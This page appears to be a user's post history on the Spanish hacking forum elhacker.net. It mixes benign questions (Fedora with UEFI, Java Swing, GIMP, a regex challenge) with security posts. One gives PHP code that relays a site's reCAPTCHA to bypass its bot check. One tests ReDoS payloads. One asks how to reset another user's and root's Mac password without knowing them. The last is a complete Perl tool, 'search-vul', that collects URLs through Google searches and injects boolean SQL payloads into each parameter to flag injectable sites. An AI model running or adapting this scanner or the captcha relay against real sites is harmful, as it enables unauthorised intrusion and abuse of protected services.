elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Temas
Páginas: [1] 2
1  Sistemas Operativos / GNU/Linux / Instalar Fedora 20 junto a Window 8 (con UEFI activado) en: 7 Febrero 2014, 23:04 pm
Buenas,

Me paso que compre una portátil y esta trajo consigo Window 8 y UEFI. Me gustaría instalar Fedora pero junto a Window 8. Hasta ahora he encontrado mas problema que soluciones a la hora de instalar Fedora (u otra distribución) junto a Window 8, con UEFI activo.

Se que no hay problema para instalar cualquier distribución con UEFI desactivado y Legacy activo, pero me gustaría mantener la laptop limpia y sin tener que cambiar a UEFI para poder bootear Window 8.

Quisiera saber las opiniones o recomendaciones de lo que ya han instalado Window 8 y Fedora (u otra distribución) con dual boot y con UEFI activo.

Saludos.
2  Seguridad Informática / Nivel Web / Bypass Recaptcha y cualquier otra en: 7 Septiembre 2011, 16:32 pm

Muchas veces necesitamos hacerle un bypass a alguna captcha, como puede ser Re-captcha.

Lo primero que se nos ocurre es usar algun OCR (Reconocimiento óptico de caracteres) para detectar las letras de la imágenes. El problema esta que no puede funcionar correctamente y en muchos casos no logra procesar la imagen. Quizás por eso no sea algo muy típico, ni muy utilizado con esto fines.

Podemos desarrollar nuestro propio OCR, pero a la larga seria un proceso muy complejo y necesitaríamos invertirle mucho tiempo. Muchos simplemente descartan el proyecto.

Otros lo que harían seria buscar alguna vulnerabilidad en la captcha, que de alguna forma les permita saber que imagen es y que letras tienen. Algunos buscarían una vulnerabilidad en la validación de la captcha que seria un proceso igualmente largo ya que tienen que entender el funcionamiento de la captcha y comenzar a probar...

Yo estaba realizando una App web y debía realizar acciones y tomar algunos datos de un sitio web, pero este utilizaba Re-captcha para poder identificarse/loguearse. Se me ocurrieron todas las opciones que menciones y otras pero no relacionada directamente con la captcha.

Aquí tengo una solución universal para cualquier Captcha. La solución mas rápida y segura, es utilizar la misma captcha que el sitio web.

Osea, la imagen genera la captcha la capturo y la muestro en mi sitio web para que los usuarios que vayan a utilizar la App web, inserten el código de la captcha y mi App web realice todo.

Al final tengo una App web, que realiza lo que quería hacer y utiliza captcha. No tengo que implementar alguna captcha en mi servicio ya que con la captcha del sitio web me basta.


Bypass de  Re-Captcha



Código
  1. <?php
  2. require_once('recaptchalib.php');
  3.  
  4.  
  5. $publickey = "6Lc55McSAAAAAChEOICK8IX0V6zRh3CD64ix6jbx";
  6. $privatekey = "6Lc55McSAAAAAB4ny39PlgX8gjMvm2x7SsrXEb6y";
  7.  
  8. if(!empty($_POST['nombre'])) {
  9.  
  10.    $is_valid = recaptcha_check_answer($privatekey, $_SERVER["REMOTE_ADDR"], $_POST["recaptcha_challenge_field"], $_POST["recaptcha_response_field"]);
  11.  
  12.  
  13.    if($is_valid->is_valid) {
  14.        echo '<p><h1>Captcha Valida</h1></p>';
  15.        exit;
  16.    }else{
  17.        echo '<p><h1>Captcha invalida</h1></p>';
  18.    }
  19. }
  20.  
  21.  
  22.  
  23. ?>
  24.  
  25. <form method="POST" name="form" action="a.php">
  26.    <p>Mensaje:
  27. <input type="text" name="nombre"></p>
  28.   <?php echo recaptcha_get_html($publickey); ?>
  29.  
  30.    <input type="submit" value="enviar">
  31. </form>
  32.  

Realizare el código para hacerle el bypass.


Código
  1. <?php
  2.  
  3.  
  4.  
  5. //Si se envio el formulario, compruebo el el input
  6.  
  7. //donde se inserte la captcha, contenga algun valor
  8.  
  9. if(!empty($_POST['captcha_valude'])) {
  10.  
  11.  
  12.  
  13. $data =' nombre='.$_POST['mensaje'].'&recaptcha_challenge_field='.$_POST['cod'].'&recaptcha_response_field='.urlencode($_POST['captcha_valude']);
  14.  
  15. echo post('http://127.0.0.1/a.php', $data);
  16.  
  17. }
  18.  
  19. //Fin del poc para el bypass
  20.  
  21.  
  22.  
  23. //Obtengo la imagen de la captcha y luego la muestro....
  24.  
  25. $contenido = get('http://127.0.0.1/a.php');
  26.  
  27. preg_match('/ipt" src="(h[^"]+)/', $contenido, $result);
  28.  
  29. preg_match('/challenge :[sn]+'([^']+)/i', get($result[1]), $cont);
  30.  
  31. $img = 'http://www.google.com/recaptcha/api/image?c='.$cont[1];
  32.  
  33. echo '<IMG src="'.$img.'">';
  34.  
  35. //Fin...
  36.  
  37.  
  38.  
  39. //Funcion para realizar peticiones GET
  40.  
  41. function get($url) {
  42.  
  43. $ch = curl_init();
  44.  
  45. curl_setopt($ch, CURLOPT_URL, $url);
  46.  
  47. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  48.  
  49. $result = curl_exec($ch);
  50.  
  51.  
  52. return $result;
  53.  
  54. }
  55.  
  56.  
  57.  
  58. //Funcion para realizar peticiones POST
  59.  
  60. function post($url, $contenido) {
  61.  
  62. $ch = curl_init();
  63.  
  64. curl_setopt($ch, CURLOPT_URL, $url);
  65.  
  66. curl_setopt ($ch, CURLOPT_POST, 1);
  67.  
  68. curl_setopt ($ch, CURLOPT_POSTFIELDS, $contenido);
  69.  
  70. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  71.  
  72. $result = curl_exec ($ch);
  73.  
  74. curl_close ($ch);
  75.  
  76.  
  77.  
  78. return $result;
  79.  
  80. }
  81.  
  82.  
  83.  
  84. ?>
  85.  
  86.  
  87.  
  88. <!--Formulario-->
  89.  
  90. <form action="aa.php" method="POST">
  91.  
  92. <p>Inserte el contenido de la captcha</p>
  93.  
  94. <p><input type="text" name="captcha_valude"></p>
  95.  
  96. <p>Inserte el mensaje
  97. <input type="text" name="mensaje"></p>
  98.  
  99. <input type="hidden" name="cod" value="<?php echo $cont[1]; ?>"><!--Codigo de la captcha-->
  100.  
  101. <input type="submit" value="Enviar">
  102.  
  103. </form>
  104.  

Al rellenar todos los datos correctamente, me da por valida todo.


Probar el PoC, así entienden mejor todo.

Saludos.
3  Programación / Java / Duda con array en: 13 Marzo 2011, 21:18 pm
Buenas a todos, tengo un problema con los Arrays. Pues el problema esta en el numero de elemento que puede almacenar el array. Ya que no matendra un numero fijo de elemento ya que este puede varias.

Puede que contenga 20, 200, 500 o mas. Lo que se me ocurrió fue que almacene un gran numero de elemento, de forma que lo pueda almacenar todos sin problema pero el problema seria que cuando recorra, habrá muchos elementos que no contendrán ningún valor pero se tendrán que recorrer y duraría mas para terminar de procesar los datos.

Edito
Ya encontré la solución, fue utilizar la librería java.util.ArrayList.
4  Programación / Java / [NetBeans] Problema usando la librería DefaultEditorKit en: 7 Marzo 2011, 21:28 pm
Buenas, soy algo nuevo en java xD. Estoy intentando hacer algo estilo copy, cut y paste, utilizando JMenuItem. El problema es que no eh encontrado la forma de hacerlo, he visto unos ejemplos pero en este caso no me funcionaria.

Aquí el código mas importante:
Código
  1. import javax.swing.text.DefaultEditorKit;
  2.  
  3. public class EjGui extends javax.swing.JFrame {
  4.  
  5. private void initComponents() {
  6.        jMenuItem4 = new javax.swing.JMenuItem();
  7.  
  8.        jMenuItem4.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.CTRL_MASK));
  9.        jMenuItem4.setText("Copiar");
  10.        jMenuItem4.addMouseListener(new java.awt.event.MouseAdapter() {
  11.            public void mouseClicked(java.awt.event.MouseEvent evt) {
  12.                jMenuItem4MouseClicked(evt);
  13.            }
  14.        });
  15.        jMenuItem4.addActionListener(new java.awt.event.ActionListener() {
  16.            public void actionPerformed(java.awt.event.ActionEvent evt) {
  17.                copiar(evt);
  18.            }
  19.        });
  20.  
  21.    private void copiar(java.awt.event.ActionEvent evt) {                        
  22.        // TODO add your handling code here:
  23.  
  24.  
  25.    }                      
  26.  
  27.    private void jMenuItem4MouseClicked(java.awt.event.MouseEvent evt) {                                        
  28.        // TODO add your handling code here:
  29.    }                                      
  30.  
  31.    private javax.swing.JMenuItem jMenuItem4;

Intente hacer un:
Código
  1. jMenuItem4.setAction(new DefaultEditorKit.CopyAction());
Dentro del método copiar y nada.

Saludos.
5  Programación / Java / [NetBeans] JDialog dentro de un JFrame en: 6 Marzo 2011, 22:40 pm
Buenas, estoy intentando abrir un JDialog desde un JFrame. Tengo un jMenuItem que al hacer click, se abre el JDialog pero no abre y no se porque xD (Algo como el típico Acerca de xD).

Aquí donde creo que esta el problema.

el main
Código
  1. public class generador {
  2.  
  3.    /**
  4.      * @param args the command line arguments
  5.      */
  6.    public static void main(String[] args) {
  7.        // TODO code application logic here
  8.        IkaGui ika_gui = new IkaGui();
  9.  
  10.  
  11.        ika_gui.setLocationRelativeTo(null);
  12.        ika_gui.setVisible(true);
  13.  
  14.  
  15.    }
  16.  
  17. }

IkaGui.java
Código
  1. private void jMenuItem7MouseClicked(java.awt.event.MouseEvent evt) {                                        
  2.        // TODO add your handling code here:
  3.        About dial = new About(new IkaGui(),true);
  4.        dial.setLocationRelativeTo(null);
  5.        dial.setVisible(true);
  6.    }
  7.  


Saludos
6  Media / Diseño Gráfico / Mi galeria de arte XD en: 20 Febrero 2011, 22:56 pm
Bueno hace poco comencé con esto (hace unos días), aquí mi humilde firma xD.



Estoy utilizando Gimp.

Acepto criticas constructivas.

Saludos.
7  Seguridad Informática / Nivel Web / [Duda] ReDos(Regular expression Denial of Service) que causa en PHP en: 23 Diciembre 2010, 22:32 pm
Buenas, cuando intento causar Dos en javascript mediante expresiones regulares causa un DoS
Código
  1. var a = '11111111111111111111111111111111111a';
  2. if(/^(\d+)+$/.test(a)){alert(1);}
  3.  

Pero en PHP no causa Dos y estoy tratando de reproducir lo que sirdarckcat escribió y nada
en PHP, PREG va a suspender la ejecucion despues de N iteraciones y alterara la memoria donde esta almacenada la variable de tal forma, que se borraran los ultimos 3 bytes dentro de esta.

Por defecto en PHP el limite de marcha atras es de 100,000
pcre.backtrack_limit

Código
  1. <?php
  2.  
  3. $a = str_repeat(1,16);
  4. $a .= 'a';
  5.  
  6. echo "La longitud es de ".strlen($a). "<br>";
  7. if(preg_match("/^(\d+)+$/",$a));
  8. echo "La longitud es de ".strlen($a). "<br>";
  9.  
  10. if (preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR) {
  11.    echo 'Se ah exedido el limite<br>';
  12. }
  13. ?>
  14.  
Salida:
Código:
La longitud es de 17
La longitud es de 17
Se ah exedido el limite

La longitud de la variable no se artera ni nada similar...
8  Programación / Ejercicios / Retos de Expresiones Regulares en: 3 Octubre 2010, 17:02 pm
Buenas a todos, todavía no he visto el primer reto de expresiones regulares...
Las reglas:
  • Se permite cualquier lenguaje de programación que utilice expresiones regulares (preferiblemente scripting, ya que la mayoría conoce por lo menos 1)
  • Cuando se plantea un reto mas, el usuario que respondió al reto deberá explicar la expresión que utilizo, así los demás aprenden xD (opcional)
  • Si nadie responde al reto, el auto deberá autor responderse he iniciar un nuevo reto
  • El que realiza el reto puede poner condiciones para realizar el reto, ejemplo: prohibiendo el uso de modificadores
  • Los usuarios pueden descartar las expresiones planteada para resolver un reto si esta no puede funcionar bien en todos los casos

Bueno un reto facil, para empezar XD

Reto #1
Código:
Objetivo: Capturar Hola mundo
Cadena: 1!"#Hola mundo¬¬

9  Sistemas Operativos / Mac OS X / Cambiar el password de un usuario en mac en: 13 Febrero 2010, 02:57 am
Buenas, tengo una MacBook, y nececito cambiar el password de un usuario, y del usuario root, claro oviamente no tengo los password del usuario y tampoco del root, pienso entrar en modo root o mono xD.
10  Seguridad Informática / Nivel Web / [Tool][Perl] search-vul 0.4 en: 7 Enero 2010, 20:58 pm
Bueno, aquí mi tools, la versión 0.4 de search-vul, si hay dudas de su uso o otra pregunta, pueden contestar este post.



Código
  1. =pod
  2. Autor:   Yoyahack
  3. name:    search-vul
  4. verion:  0.4
  5. Mail:    yoyahack@undersecurity.net
  6. Web:     www.yoyahack.blogspot.com
  7. Webs:    www.undersecurity.net & www.mitm.cl & elhacker.net & www.n3t-datagrams.net
  8. Gretz:   S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z, [[kt0sh]],SH4V , x4cks
  9.                          _                      _
  10.  ___  ___  __ _ _ __ ___| |__      __   ___   _| |
  11. / __|/ _ \/ _` | '__/ __| '_ \ ____\ \ / / | | | |
  12. \__ \  __/ (_| | | | (__| | | |_____\ V /| |_| | |
  13. |___/\___|\__,_|_|  \___|_| |_|      \_/  \__,_|_|
  14.  
  15. =cut
  16.  
  17. #opciones
  18. =pod
  19. --google <busqueda> --num <numero> -> Buscar paginas de google.com y indica el numero de pagina a buscar
  20. --googles <busqueda> --num <numero> -> Buscar pagina de distinto servidores googles
  21. --vul <file.txt> -> Escanea un archivo que contenga distinta pagina y verifica las vurnerables
  22. --dns <site> -> Reverse dns
  23. =cut
  24.  
  25. #Modulos
  26.  
  27. use LWP::UserAgent;
  28. use HTTP::Request;
  29. use Getopt::Long;
  30.  
  31. #Code
  32.  
  33. ·············································
  34.                 Code
  35.                  by
  36.               Yoyahack
  37.         www.yoyahack.blogspot.com
  38.     www.undersecurity.net & www.mitm.cl
  39. ·············································
  40. );
  41.  
  42. print "Usage: perl $0 --opcion <xxx>\n";
  43. --google <busqueda> --num <numero>
  44. --googles <busqueda> --num <numero>
  45. --vul <file.txt>
  46. --dns <site>
  47. --help
  48. );
  49.  
  50. #Opciones
  51. GetOptions("google=s" => \$google,
  52.           "googles=s" => \$googles,
  53.           "vul=s" => \$vul,                
  54.           "dns=s" => \$dns,
  55.           "num=s" => \$num,
  56.           "help" => \$help);
  57.  
  58. if($google & $num){&google};
  59. if($googles & $num ){&googles};
  60. if($vul){&vul};
  61. if($dns){&dns};
  62. if($help){&help}
  63.  
  64. sub google{
  65.  
  66. ###########################################################
  67. my $peti = "http://www.google.com/search?hl=&q=$google&start=$num";
  68. my $result = get($peti);
  69.  
  70. ###########################################################
  71.    while ($result =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
  72.  
  73.        my $enlace = $1;
  74.        open (SE,">>busqueda.txt");
  75.        print SE "$enlace\n";
  76.        close (SE);
  77.        print "$enlace\n";
  78.                                                                    }
  79.           }
  80.  
  81.  
  82.  
  83. sub googles{
  84.  
  85. ###########################################################
  86. my @googles = qw(www.google.es www.google.cl www.google.com.ar www.google.co.ve);
  87. foreach $go(@googles)
  88.               {
  89.                chomp($go);
  90. ###########################################################
  91. my $peti1 = "http://$go/search?hl=&q=$googles&start=$num";
  92. my $result1 = get($peti1);
  93.  
  94. ###########################################################
  95.    while ($result1 =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
  96.    my $enlace1 = $1;
  97.  
  98.    open (SS,">>googles.txt");
  99.    print SS "$enlace1\n";
  100.    close (SS);
  101.    print "$enlace1\n";
  102.                                                                       }
  103.              }
  104.           }
  105.  
  106.  
  107. sub vul{
  108. ###########################################################
  109. open(PAG,$vul) || die "Archivo de texto no encontrado";
  110. @urls=<PAG>;
  111. close (PAG);
  112. foreach $pag(@urls)
  113.               {
  114.               chomp($pag);
  115. ###########################################################
  116. my $iny1 = $pag."'+and+1=1+--+";
  117. my $iny2 = $pag."'+and+1=2+--+";
  118. ###########################################################
  119. $pag .= '&';
  120. if($pag =~ m/&{2}/ig){
  121. }else{
  122.      while ($pag =~ m/\&/g) {
  123.            $regex = $pag;
  124.            substr($regex, pos($pag)-1, 0, "+and+1=1+--+");
  125.            my $tofo3  = scalar(split("\n",get($regex)));
  126.            $regex2 = $pag;
  127.            substr($regex2, pos($pag)-1, 0, "+and+1=2+--+");
  128.            my $tofo4  = scalar(split("\n",get($regex2)));
  129.            if($tofo3 ne $tofo4 || $tofo != $todo){
  130.                open (VUL,">>vurl.txt");
  131.                print VUL "$pag\n";
  132.                close (SS);
  133.                                                  }
  134.                             }
  135.                   }      
  136. ##########################################################
  137. my $fuente = get($iny1);
  138. my $tofo  = scalar(split("\n",$fuente));
  139.  
  140. my $result = get($iny2);
  141. my $todo  = scalar(split("\n",$result));
  142. ##########################################################
  143. if($tofo ne $todo || $tofo != $todo){
  144.    open (VUL,">>vurl.txt");
  145.    print VUL q(
  146. ·············································
  147.                 Code
  148.                  by
  149.               Yoyahack
  150.         www.yoyahack.blogspot.com
  151.     www.undersecurity.net & www.mitm.cl
  152. ·············································
  153.  
  154. );
  155.    print VUL "$pag\n";
  156.    close (SS);
  157.    print "[+]$pag es vurnerable a SQLI\n";
  158.    print "!guardada exitosamente\n";
  159.   } else {
  160.             print "\n$pag no es vurnerable a SQLI\n";
  161.         }
  162.          }              
  163.               }
  164.  
  165. sub dns{
  166. my $result = get("http://www.ip-adress.com/reverse_ip/$dns");
  167.  
  168. while ($result =~ m!<a href="/whois/(.+)">Whois</a>!ig){
  169.  
  170.    open (DNS,">>reverse_dns.txt");
  171.    print DNS "$1\n";
  172.    close (DNS);
  173.    print "$1\n";
  174.  
  175. }
  176. if ($result =~ /valid IP address/) {
  177.  
  178.    print "Not found\n";
  179. }
  180. }
  181.  
  182.  
  183. sub help {
  184. &erase;
  185. ##############################
  186. 1 --google <busqueda> --num <numero>
  187.  
  188. Buscar paginas de google.com y indica el numero de pagina a buscar
  189. perl script.pl --google ola --num 10
  190. ##############################
  191. #////
  192. ##############################
  193. 2 --googles <busqueda> --num <numero>
  194.  
  195. perl script.pl --googles ola --num 10
  196. Buscar pagina de distinto servidores googles
  197. ##############################
  198. #////
  199. ##############################
  200. 3 --vul <file.txt>
  201.  
  202. perl script.pl --vul archivo.txt
  203. Escanea un archivo que contenga distinta pagina y verifica las vurnerables
  204. ##############################
  205. #////
  206. ##############################
  207. 4 --dns <site>
  208.  
  209. perl script.pl --dns www.pagina.com
  210. Reverse dns
  211. ##############################
  212. #////
  213. );
  214. }
  215.  
  216. sub erase{
  217. $os = "$^O";
  218. if ("linux" == "$os"){
  219.   return system('clear');
  220.    }else{
  221. return system('cls');}
  222. }
  223.  
  224. sub get {
  225.    my $pagina = $_[0];
  226.  
  227.    my $ua = new LWP::UserAgent;
  228.    $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");
  229.  
  230.    my $busqueda = new HTTP::Request GET => $pagina;
  231.    my $resultado = $ua->request($busqueda);
  232.    $ua->timeout(7) || die "Conecction faield";
  233.    my $result = $resultado->content();
  234. }

Mirror:
http://undersec.pastebin.com/f5c7ce4f9
http://codepad.org/Xwe6N7MO

Saludos.
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines